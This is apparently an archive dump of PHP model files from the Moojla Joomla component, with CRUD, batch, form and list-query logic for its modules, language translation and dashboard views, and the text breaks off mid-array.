@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Moojla Languagetranslation Model
*/
class MoojlaModelLanguagetranslation extends JModelItem
{
/**
* Model context string.
*
* @var string
*/
protected $_context = 'com_moojla.languagetranslation';
/**
* Model user data.
*
* @var strings
*/
protected $user;
protected $userId;
protected $guest;
protected $groups;
protected $levels;
protected $app;
protected $input;
protected $uikitComp;
/**
* @var object item
*/
protected $item;
/**
* Method to auto-populate the model state.
*
* Note. Calling getState in this method will result in recursion.
*
* @since 1.6
*
* @return void
*/
protected function populateState()
{
$this->app = JFactory::getApplication();
$this->input = $this->app->input;
// Get the item main id
$id = $this->input->getInt('id', null);
$this->setState('languagetranslation.id', $id);
// Load the parameters.
parent::populateState();
}
/**
* Method to get article data.
*
* @param integer $pk The id of the article.
*
* @return mixed Menu item data object on success, false on failure.
*/
public function getItem($pk = null)
{
$this->user = JFactory::getUser();
// check if this user has permission to access item
if (!$this->user->authorise('languagetranslation.access',
'com_moojla'))
{
$app = JFactory::getApplication();
$app->enqueueMessage(JText::_('Not authorised!'),
'error');
// redirect away if not a correct to cPanel/default view
$app->redirect('index.php?option=com_moojla');
return false;
}
$this->userId = $this->user->get('id');
$this->guest = $this->user->get('guest');
$this->groups = $this->user->get('groups');
$this->authorisedGroups = $this->user->getAuthorisedGroups();
$this->levels = $this->user->getAuthorisedViewLevels();
$this->initSet = true;
$pk = (!empty($pk)) ? $pk : (int)
$this->getState('languagetranslation.id');
if ($this->_item === null)
{
$this->_item = array();
}
if (!isset($this->_item[$pk]))
{
try
{
// Get a db connection.
$db = JFactory::getDbo();
// Create a new query object.
$query = $db->getQuery(true);
// Get data
/***[JCBGUI.dynamic_get.php_custom_get.62.$$$$]***/
return array();
/***[/JCBGUI$$$$]***/
// Reset the query using our newly populated query object.
$db->setQuery($query);
// Load the results as a stdClass object.
$data = $db->loadObject();
if (empty($data))
{
$app = JFactory::getApplication();
// If no data is found redirect to default page and show warning.
$app->enqueueMessage(JText::_('COM_MOOJLA_NOT_FOUND_OR_ACCESS_DENIED'),
'warning');
$app->redirect('index.php?option=com_moojla');
return false;
}
// set data object to item.
$this->_item[$pk] = $data;
}
catch (Exception $e)
{
if ($e->getCode() == 404)
{
// Need to go thru the error handler to allow Redirect to work.
JError::raiseWarning(404, $e->getMessage());
}
else
{
$this->setError($e);
$this->_item[$pk] = false;
}
}
}
return $this->_item[$pk];
}
}
models/module.php000064400000055251151165724400010042 0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage module.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;
/**
* Moojla Module Model
*/
class MoojlaModelModule extends JModelAdmin
{
/**
* The tab layout fields array.
*
* @var array
*/
protected $tabLayoutFields = array(
'details' => array(
'left' => array(
'module_section_id',
'module_id',
'visible',
'uservisible',
'name',
'modname',
'url',
'description',
'modicon'
)
)
);
/**
* @var string The prefix to use with controller messages.
* @since 1.6
*/
protected $text_prefix = 'COM_MOOJLA';
/**
* The type alias for this content type.
*
* @var string
* @since 3.2
*/
public $typeAlias = 'com_moojla.module';
/**
* Returns a Table object, always creating it
*
* @param type $type The table type to instantiate
* @param string $prefix A prefix for the table class name. Optional.
* @param array $config Configuration array for model. Optional.
*
* @return JTable A database object
*
* @since 1.6
*/
public function getTable($type = 'module', $prefix =
'MoojlaTable', $config = array())
{
// add table path for when model gets used from other component
$this->addTablePath(JPATH_ADMINISTRATOR .
'/components/com_moojla/tables');
// get instance of the table
return JTable::getInstance($type, $prefix, $config);
}
/***[JCBGUI.admin_view.php_model.132.$$$$]***/
public function myDelete($pk){
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select($db->quoteName(array('rules',
'id')));
$query->from($db->quoteName('#__assets'));
$query->where($db->quoteName('name') . ' = '
. $db->quote('com_moojla'));
$db->setQuery($query);
$results = $db->loadObjectList();
$acls = json_decode($results[0]->rules);
$deleteAcl = null;
$permission = 'core.delete';
if(!property_exists($acls, $permission))
{
$acls->$permission = new stdClass();
}
$pub = '1';
$acls->$permission->$pub = 1;
$obj = new stdClass();
$obj->id = $results[0]->id;
$obj->rules = json_encode($acls);
JFactory::getDbo()->updateObject('#__assets', $obj,
'id');
$obj = new stdClass();
$obj->id = $pk;
$obj->published = -2;
JFactory::getDbo()->updateObject('#__moojla_module', $obj,
'id'); // trash item
$pks = array($pk);
$res = $this->delete($pks);
$obj = new stdClass();
$obj->id = $results[0]->id;
$obj->rules = $results[0]->rules;
JFactory::getDbo()->updateObject('#__assets', $obj,
'id');
return $res;
}/***[/JCBGUI$$$$]***/
/**
* Method to get a single record.
*
* @param integer $pk The id of the primary key.
*
* @return mixed Object on success, false on failure.
*
* @since 1.6
*/
public function getItem($pk = null)
{
if ($item = parent::getItem($pk))
{
if (!empty($item->params) && !is_array($item->params))
{
// Convert the params field to an array.
$registry = new Registry;
$registry->loadString($item->params);
$item->params = $registry->toArray();
}
if (!empty($item->metadata))
{
// Convert the metadata field to an array.
$registry = new Registry;
$registry->loadString($item->metadata);
$item->metadata = $registry->toArray();
}
}
return $item;
}
/**
* Method to get the record form.
*
* @param array $data Data for the form.
* @param boolean $loadData True if the form is to load its own data
(default case), false if not.
* @param array $options Optional array of options for the form
creation.
*
* @return mixed A JForm object on success, false on failure
*
* @since 1.6
*/
public function getForm($data = array(), $loadData = true, $options =
array('control' => 'jform'))
{
// set load data option
$options['load_data'] = $loadData;
// check if xpath was set in options
$xpath = false;
if (isset($options['xpath']))
{
$xpath = $options['xpath'];
unset($options['xpath']);
}
// check if clear form was set in options
$clear = false;
if (isset($options['clear']))
{
$clear = $options['clear'];
unset($options['clear']);
}
// Get the form.
$form = $this->loadForm('com_moojla.module',
'module', $options, $clear, $xpath);
if (empty($form))
{
return false;
}
$jinput = JFactory::getApplication()->input;
// The front end calls this model and uses a_id to avoid id clashes so we
need to check for that first.
if ($jinput->get('a_id'))
{
$id = $jinput->get('a_id', 0, 'INT');
}
// The back end uses id so we use that the rest of the time and set it to
0 by default.
else
{
$id = $jinput->get('id', 0, 'INT');
}
$user = JFactory::getUser();
// Check for existing item.
// Modify the form based on Edit State access controls.
if ($id != 0 &&
(!$user->authorise('core.edit.state',
'com_moojla.module.' . (int) $id))
|| ($id == 0 &&
!$user->authorise('core.edit.state', 'com_moojla')))
{
// Disable fields for display.
$form->setFieldAttribute('ordering', 'disabled',
'true');
$form->setFieldAttribute('published', 'disabled',
'true');
// Disable fields while saving.
$form->setFieldAttribute('ordering', 'filter',
'unset');
$form->setFieldAttribute('published', 'filter',
'unset');
}
// If this is a new item insure the greated by is set.
if (0 == $id)
{
// Set the created_by to this user
$form->setValue('created_by', null, $user->id);
}
// Modify the form based on Edit Creaded By access controls.
if (!$user->authorise('core.edit.created_by',
'com_moojla'))
{
// Disable fields for display.
$form->setFieldAttribute('created_by',
'disabled', 'true');
// Disable fields for display.
$form->setFieldAttribute('created_by',
'readonly', 'true');
// Disable fields while saving.
$form->setFieldAttribute('created_by', 'filter',
'unset');
}
// Modify the form based on Edit Creaded Date access controls.
if (!$user->authorise('core.edit.created',
'com_moojla'))
{
// Disable fields for display.
$form->setFieldAttribute('created', 'disabled',
'true');
// Disable fields while saving.
$form->setFieldAttribute('created', 'filter',
'unset');
}
// Only load these values if no id is found
if (0 == $id)
{
// Set redirected view name
$redirectedView = $jinput->get('ref', null,
'STRING');
// Set field name (or fall back to view name)
$redirectedField = $jinput->get('field', $redirectedView,
'STRING');
// Set redirected view id
$redirectedId = $jinput->get('refid', 0, 'INT');
// Set field id (or fall back to redirected view id)
$redirectedValue = $jinput->get('field_id', $redirectedId,
'INT');
if (0 != $redirectedValue && $redirectedField)
{
// Now set the local-redirected field default value
$form->setValue($redirectedField, null, $redirectedValue);
}
}
return $form;
}
/**
* Method to get the script that have to be included on the form
*
* @return string script files
*/
public function getScript()
{
return 'media/com_moojla/js/module.js';
}
/**
* Method to test whether a record can be deleted.
*
* @param object $record A record object.
*
* @return boolean True if allowed to delete the record. Defaults to the
permission set in the component.
*
* @since 1.6
*/
protected function canDelete($record)
{
if (!empty($record->id))
{
if ($record->published != -2)
{
return;
}
$user = JFactory::getUser();
// The record has been set. Check the record permissions.
return $user->authorise('core.delete',
'com_moojla.module.' . (int) $record->id);
}
return false;
}
/**
* Method to test whether a record can have its state edited.
*
* @param object $record A record object.
*
* @return boolean True if allowed to change the state of the record.
Defaults to the permission set in the component.
*
* @since 1.6
*/
protected function canEditState($record)
{
$user = JFactory::getUser();
$recordId = (!empty($record->id)) ? $record->id : 0;
if ($recordId)
{
// The record has been set. Check the record permissions.
$permission = $user->authorise('core.edit.state',
'com_moojla.module.' . (int) $recordId);
if (!$permission && !is_null($permission))
{
return false;
}
}
// In the absense of better information, revert to the component
permissions.
return parent::canEditState($record);
}
/**
* Method override to check if you can edit an existing record.
*
* @param array $data An array of input data.
* @param string $key The name of the key for the primary key.
*
* @return boolean
* @since 2.5
*/
protected function allowEdit($data = array(), $key = 'id')
{
// Check specific edit permission then general edit permission.
return JFactory::getUser()->authorise('core.edit',
'com_moojla.module.'. ((int) isset($data[$key]) ? $data[$key] :
0)) or parent::allowEdit($data, $key);
}
/**
* Prepare and sanitise the table data prior to saving.
*
* @param JTable $table A JTable object.
*
* @return void
*
* @since 1.6
*/
protected function prepareTable($table)
{
$date = JFactory::getDate();
$user = JFactory::getUser();
if (isset($table->name))
{
$table->name = htmlspecialchars_decode($table->name, ENT_QUOTES);
}
if (isset($table->alias) && empty($table->alias))
{
$table->generateAlias();
}
if (empty($table->id))
{
$table->created = $date->toSql();
// set the user
if ($table->created_by == 0 || empty($table->created_by))
{
$table->created_by = $user->id;
}
// Set ordering to the last item if not set
if (empty($table->ordering))
{
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('MAX(ordering)')
->from($db->quoteName('#__moojla_module'));
$db->setQuery($query);
$max = $db->loadResult();
$table->ordering = $max + 1;
}
}
else
{
$table->modified = $date->toSql();
$table->modified_by = $user->id;
}
if (!empty($table->id))
{
// Increment the items version number.
$table->version++;
}
}
/**
* Method to get the data that should be injected in the form.
*
* @return mixed The data for the form.
*
* @since 1.6
*/
protected function loadFormData()
{
// Check the session for previously entered form data.
$data =
JFactory::getApplication()->getUserState('com_moojla.edit.module.data',
array());
if (empty($data))
{
$data = $this->getItem();
// run the perprocess of the data
$this->preprocessData('com_moojla.module', $data);
}
return $data;
}
/**
* Method to get the unique fields of this table.
*
* @return mixed An array of field names, boolean false if none is set.
*
* @since 3.0
*/
protected function getUniqueFields()
{
return array('module_id');
}
/**
* Method to delete one or more records.
*
* @param array &$pks An array of record primary keys.
*
* @return boolean True if successful, false if an error occurs.
*
* @since 12.2
*/
public function delete(&$pks)
{
if (!parent::delete($pks))
{
return false;
}
return true;
}
/**
* Method to change the published state of one or more records.
*
* @param array &$pks A list of the primary keys to change.
* @param integer $value The value of the published state.
*
* @return boolean True on success.
*
* @since 12.2
*/
public function publish(&$pks, $value = 1)
{
if (!parent::publish($pks, $value))
{
return false;
}
return true;
}
/**
* Method to perform batch operations on an item or a set of items.
*
* @param array $commands An array of commands to perform.
* @param array $pks An array of item ids.
* @param array $contexts An array of item contexts.
*
* @return boolean Returns true on success, false on failure.
*
* @since 12.2
*/
public function batch($commands, $pks, $contexts)
{
// Sanitize ids.
$pks = array_unique($pks);
ArrayHelper::toInteger($pks);
// Remove any values of zero.
if (array_search(0, $pks, true))
{
unset($pks[array_search(0, $pks, true)]);
}
if (empty($pks))
{
$this->setError(JText::_('JGLOBAL_NO_ITEM_SELECTED'));
return false;
}
$done = false;
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->contentType = new JUcmType;
$this->type =
$this->contentType->getTypeByTable($this->tableClassName);
$this->canDo = MoojlaHelper::getActions('module');
$this->batchSet = true;
if (!$this->canDo->get('core.batch'))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
return false;
}
if ($this->type == false)
{
$type = new JUcmType;
$this->type = $type->getTypeByAlias($this->typeAlias);
}
$this->tagsObserver =
$this->table->getObserverOfClass('JTableObserverTags');
if (!empty($commands['move_copy']))
{
$cmd = ArrayHelper::getValue($commands, 'move_copy',
'c');
if ($cmd == 'c')
{
$result = $this->batchCopy($commands, $pks, $contexts);
if (is_array($result))
{
foreach ($result as $old => $new)
{
$contexts[$new] = $contexts[$old];
}
$pks = array_values($result);
}
else
{
return false;
}
}
elseif ($cmd == 'm' && !$this->batchMove($commands,
$pks, $contexts))
{
return false;
}
$done = true;
}
if (!$done)
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
return false;
}
// Clear the cache
$this->cleanCache();
return true;
}
/**
* Batch copy items to a new category or current.
*
* @param integer $values The new values.
* @param array $pks An array of row IDs.
* @param array $contexts An array of item contexts.
*
* @return mixed An array of new IDs on success, boolean false on
failure.
*
* @since 12.2
*/
protected function batchCopy($values, $pks, $contexts)
{
if (empty($this->batchSet))
{
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->canDo = MoojlaHelper::getActions('module');
}
if (!$this->canDo->get('core.create') ||
!$this->canDo->get('core.batch'))
{
return false;
}
// get list of unique fields
$uniqueFields = $this->getUniqueFields();
// remove move_copy from array
unset($values['move_copy']);
// make sure published is set
if (!isset($values['published']))
{
$values['published'] = 0;
}
elseif (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
{
$values['published'] = 0;
}
$newIds = array();
// Parent exists so let's proceed
while (!empty($pks))
{
// Pop the first ID off the stack
$pk = array_shift($pks);
$this->table->reset();
// only allow copy if user may edit this item.
if (!$this->user->authorise('core.edit',
$contexts[$pk]))
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
// Check that the row actually exists
if (!$this->table->load($pk))
{
if ($error = $this->table->getError())
{
// Fatal error
$this->setError($error);
return false;
}
else
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
}
// Only for strings
if (MoojlaHelper::checkString($this->table->module_id) &&
!is_numeric($this->table->module_id))
{
$this->table->module_id =
$this->generateUnique('module_id',$this->table->module_id);
}
// insert all set values
if (MoojlaHelper::checkArray($values))
{
foreach ($values as $key => $value)
{
if (strlen($value) > 0 && isset($this->table->$key))
{
$this->table->$key = $value;
}
}
}
// update all unique fields
if (MoojlaHelper::checkArray($uniqueFields))
{
foreach ($uniqueFields as $uniqueField)
{
$this->table->$uniqueField =
$this->generateUnique($uniqueField,$this->table->$uniqueField);
}
}
// Reset the ID because we are making a copy
$this->table->id = 0;
// TODO: Deal with ordering?
// $this->table->ordering = 1;
// Check the row.
if (!$this->table->check())
{
$this->setError($this->table->getError());
return false;
}
if (!empty($this->type))
{
$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
}
// Store the row.
if (!$this->table->store())
{
$this->setError($this->table->getError());
return false;
}
// Get the new item ID
$newId = $this->table->get('id');
// Add the new ID to the array
$newIds[$pk] = $newId;
}
// Clean the cache
$this->cleanCache();
return $newIds;
}
/**
* Batch move items to a new category
*
* @param integer $value The new category ID.
* @param array $pks An array of row IDs.
* @param array $contexts An array of item contexts.
*
* @return boolean True if successful, false otherwise and internal
error is set.
*
* @since 12.2
*/
protected function batchMove($values, $pks, $contexts)
{
if (empty($this->batchSet))
{
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->canDo = MoojlaHelper::getActions('module');
}
if (!$this->canDo->get('core.edit') &&
!$this->canDo->get('core.batch'))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
return false;
}
// make sure published only updates if user has the permission.
if (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
{
unset($values['published']);
}
// remove move_copy from array
unset($values['move_copy']);
// Parent exists so we proceed
foreach ($pks as $pk)
{
if (!$this->user->authorise('core.edit',
$contexts[$pk]))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
return false;
}
// Check that the row actually exists
if (!$this->table->load($pk))
{
if ($error = $this->table->getError())
{
// Fatal error
$this->setError($error);
return false;
}
else
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
}
// insert all set values.
if (MoojlaHelper::checkArray($values))
{
foreach ($values as $key => $value)
{
// Do special action for access.
if ('access' === $key && strlen($value) > 0)
{
$this->table->$key = $value;
}
elseif (strlen($value) > 0 &&
isset($this->table->$key))
{
$this->table->$key = $value;
}
}
}
// Check the row.
if (!$this->table->check())
{
$this->setError($this->table->getError());
return false;
}
if (!empty($this->type))
{
$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
}
// Store the row.
if (!$this->table->store())
{
$this->setError($this->table->getError());
return false;
}
}
// Clean the cache
$this->cleanCache();
return true;
}
/**
* Method to save the form data.
*
* @param array $data The form data.
*
* @return boolean True on success.
*
* @since 1.6
*/
public function save($data)
{
$input = JFactory::getApplication()->input;
$filter = JFilterInput::getInstance();
// set the metadata to the Item Data
if (isset($data['metadata']) &&
isset($data['metadata']['author']))
{
$data['metadata']['author'] =
$filter->clean($data['metadata']['author'],
'TRIM');
$metadata = new JRegistry;
$metadata->loadArray($data['metadata']);
$data['metadata'] = (string) $metadata;
}
// Set the empty visible item to data
if (!isset($data['visible']))
{
$data['visible'] = '';
}
// Set the empty uservisible item to data
if (!isset($data['uservisible']))
{
$data['uservisible'] = '';
}
// Set the Params Items to data
if (isset($data['params']) &&
is_array($data['params']))
{
$params = new JRegistry;
$params->loadArray($data['params']);
$data['params'] = (string) $params;
}
// Alter the unique field for save as copy
if ($input->get('task') === 'save2copy')
{
// Automatic handling of other unique fields
$uniqueFields = $this->getUniqueFields();
if (MoojlaHelper::checkArray($uniqueFields))
{
foreach ($uniqueFields as $uniqueField)
{
$data[$uniqueField] =
$this->generateUnique($uniqueField,$data[$uniqueField]);
}
}
}
if (parent::save($data))
{
return true;
}
return false;
}
/**
* Method to generate a unique value.
*
* @param string $field name.
* @param string $value data.
*
* @return string New value.
*
* @since 3.0
*/
protected function generateUnique($field,$value)
{
// set field value unique
$table = $this->getTable();
while ($table->load(array($field => $value)))
{
$value = StringHelper::increment($value);
}
return $value;
}
/**
* Method to change the title
*
* @param string $title The title.
*
* @return array Contains the modified title and alias.
*
*/
protected function _generateNewTitle($title)
{
// Alter the title
$table = $this->getTable();
while ($table->load(array('title' => $title)))
{
$title = StringHelper::increment($title);
}
return $title;
}
}
models/modules.php000064400000020536151165724400010223 0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage modules.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Modules Model
*/
class MoojlaModelModules extends JModelList
{
public function __construct($config = array())
{
if (empty($config['filter_fields']))
{
$config['filter_fields'] = array(
'a.id','id',
'a.published','published',
'a.ordering','ordering',
'a.created_by','created_by',
'a.modified_by','modified_by',
'a.module_section_id','module_section_id',
'a.modname','modname',
'a.name','name'
);
}
parent::__construct($config);
}
/**
* Method to auto-populate the model state.
*
* Note. Calling getState in this method will result in recursion.
*
* @param string $ordering An optional ordering field.
* @param string $direction An optional direction (asc|desc).
*
* @return void
*
*/
protected function populateState($ordering = null, $direction = null)
{
$app = JFactory::getApplication();
// Adjust the context to support modal layouts.
if ($layout = $app->input->get('layout'))
{
$this->context .= '.' . $layout;
}
// Check if the form was submitted
$formSubmited =
$app->input->post->get('form_submited');
$access = $this->getUserStateFromRequest($this->context .
'.filter.access', 'filter_access', 0, 'int');
if ($formSubmited)
{
$access = $app->input->post->get('access');
$this->setState('filter.access', $access);
}
$published = $this->getUserStateFromRequest($this->context .
'.filter.published', 'filter_published', '');
$this->setState('filter.published', $published);
$created_by = $this->getUserStateFromRequest($this->context .
'.filter.created_by', 'filter_created_by',
'');
$this->setState('filter.created_by', $created_by);
$created = $this->getUserStateFromRequest($this->context .
'.filter.created', 'filter_created');
$this->setState('filter.created', $created);
$sorting = $this->getUserStateFromRequest($this->context .
'.filter.sorting', 'filter_sorting', 0,
'int');
$this->setState('filter.sorting', $sorting);
$search = $this->getUserStateFromRequest($this->context .
'.filter.search', 'filter_search');
$this->setState('filter.search', $search);
$module_section_id = $this->getUserStateFromRequest($this->context
. '.filter.module_section_id',
'filter_module_section_id');
if ($formSubmited)
{
$module_section_id =
$app->input->post->get('module_section_id');
$this->setState('filter.module_section_id',
$module_section_id);
}
$modname = $this->getUserStateFromRequest($this->context .
'.filter.modname', 'filter_modname');
if ($formSubmited)
{
$modname = $app->input->post->get('modname');
$this->setState('filter.modname', $modname);
}
$name = $this->getUserStateFromRequest($this->context .
'.filter.name', 'filter_name');
if ($formSubmited)
{
$name = $app->input->post->get('name');
$this->setState('filter.name', $name);
}
// List state information.
parent::populateState($ordering, $direction);
}
/**
* Method to get an array of data items.
*
* @return mixed An array of data items on success, false on failure.
*/
public function getItems()
{
// check in items
$this->checkInNow();
// load parent items
$items = parent::getItems();
// return items
return $items;
}
/**
* Method to build an SQL query to load the list data.
*
* @return string An SQL query
*/
protected function getListQuery()
{
// Get the user object.
$user = JFactory::getUser();
// Create a new query object.
$db = JFactory::getDBO();
$query = $db->getQuery(true);
// Select some fields
$query->select('a.*');
// From the moojla_item table
$query->from($db->quoteName('#__moojla_module',
'a'));
// Filter by published state
$published = $this->getState('filter.published');
if (is_numeric($published))
{
$query->where('a.published = ' . (int) $published);
}
elseif ($published === '')
{
$query->where('(a.published = 0 OR a.published = 1)');
}
// Filter by search.
$search = $this->getState('filter.search');
if (!empty($search))
{
if (stripos($search, 'id:') === 0)
{
$query->where('a.id = ' . (int) substr($search, 3));
}
else
{
$search = $db->quote('%' . $db->escape($search) .
'%');
$query->where('(a.name LIKE '.$search.')');
}
}
// Filter by Module_section_id.
$_module_section_id =
$this->getState('filter.module_section_id');
if (is_numeric($_module_section_id))
{
if (is_float($_module_section_id))
{
$query->where('a.module_section_id = ' . (float)
$_module_section_id);
}
else
{
$query->where('a.module_section_id = ' . (int)
$_module_section_id);
}
}
elseif (MoojlaHelper::checkString($_module_section_id))
{
$query->where('a.module_section_id = ' .
$db->quote($db->escape($_module_section_id)));
}
// Filter by Modname.
$_modname = $this->getState('filter.modname');
if (is_numeric($_modname))
{
if (is_float($_modname))
{
$query->where('a.modname = ' . (float) $_modname);
}
else
{
$query->where('a.modname = ' . (int) $_modname);
}
}
elseif (MoojlaHelper::checkString($_modname))
{
$query->where('a.modname = ' .
$db->quote($db->escape($_modname)));
}
// Add the list ordering clause.
$orderCol = $this->state->get('list.ordering',
'a.id');
$orderDirn = $this->state->get('list.direction',
'desc');
if ($orderCol != '')
{
$query->order($db->escape($orderCol . ' ' .
$orderDirn));
}
return $query;
}
/**
* Method to get a store id based on model configuration state.
*
* @return string A store id.
*
*/
protected function getStoreId($id = '')
{
// Compile the store id.
$id .= ':' . $this->getState('filter.id');
$id .= ':' . $this->getState('filter.search');
$id .= ':' . $this->getState('filter.published');
$id .= ':' . $this->getState('filter.ordering');
$id .= ':' . $this->getState('filter.created_by');
$id .= ':' .
$this->getState('filter.modified_by');
$id .= ':' .
$this->getState('filter.module_section_id');
$id .= ':' . $this->getState('filter.modname');
$id .= ':' . $this->getState('filter.name');
return parent::getStoreId($id);
}
/**
* Build an SQL query to checkin all items left checked out longer then a
set time.
*
* @return a bool
*
*/
protected function checkInNow()
{
// Get set check in time
$time =
JComponentHelper::getParams('com_moojla')->get('check_in');
if ($time)
{
// Get a db connection.
$db = JFactory::getDbo();
// reset query
$query = $db->getQuery(true);
$query->select('*');
$query->from($db->quoteName('#__moojla_module'));
$db->setQuery($query);
$db->execute();
if ($db->getNumRows())
{
// Get Yesterdays date
$date = JFactory::getDate()->modify($time)->toSql();
// reset query
$query = $db->getQuery(true);
// Fields to update.
$fields = array(
$db->quoteName('checked_out_time') .
'=\'0000-00-00 00:00:00\'',
$db->quoteName('checked_out') . '=0'
);
// Conditions for which records should be updated.
$conditions = array(
$db->quoteName('checked_out') . '!=0',
$db->quoteName('checked_out_time') .
'<\''.$date.'\''
);
// Check table
$query->update($db->quoteName('#__moojla_module'))->set($fields)->where($conditions);
$db->setQuery($query);
$db->execute();
}
}
return false;
}
}
models/moojla.php000064400000022227151165724400010033 0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage moojla.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
/**
* Moojla Model
*/
class MoojlaModelMoojla extends JModelList
{
public function getIcons()
{
// load user for access menus
$user = JFactory::getUser();
// reset icon array
$icons = array();
// view groups array
$viewGroups = array(
'main' => array('png.courses',
'png.courses.catid_qpo0O0oqp_com_moojla_po0O0oq_course',
'png.course_fields_mapper', 'png.user_maps',
'png.user_fields_map', 'png.course_group_maps',
'png.enrolments', 'png.tags',
'png.tag_instances', 'png.healthcheck',
'png.cohorts', 'png.languagetranslation')
);
// view access array
$viewAccess = array(
'healthcheck.submenu' => 'healthcheck.submenu',
'healthcheck.dashboard_list' =>
'healthcheck.dashboard_list',
'languagetranslation.submenu' =>
'languagetranslation.submenu',
'languagetranslation.dashboard_list' =>
'languagetranslation.dashboard_list',
'courses.access' => 'course.access',
'course.access' => 'course.access',
'course.create' => 'course.create',
'courses.submenu' => 'course.submenu',
'courses.dashboard_list' =>
'course.dashboard_list',
'course_fields_mapper.access' =>
'course_field_mapper.access',
'course_field_mapper.access' =>
'course_field_mapper.access',
'course_fields_mapper.submenu' =>
'course_field_mapper.submenu',
'course_fields_mapper.dashboard_list' =>
'course_field_mapper.dashboard_list',
'user_maps.submenu' => 'user_map.submenu',
'user_maps.dashboard_list' =>
'user_map.dashboard_list',
'user_fields_map.submenu' =>
'user_field_map.submenu',
'user_fields_map.dashboard_list' =>
'user_field_map.dashboard_list',
'course_group_maps.submenu' =>
'course_group_map.submenu',
'course_group_maps.dashboard_list' =>
'course_group_map.dashboard_list',
'enrolments.submenu' => 'enrolment.submenu',
'enrolments.dashboard_list' =>
'enrolment.dashboard_list',
'tags.access' => 'tag.access',
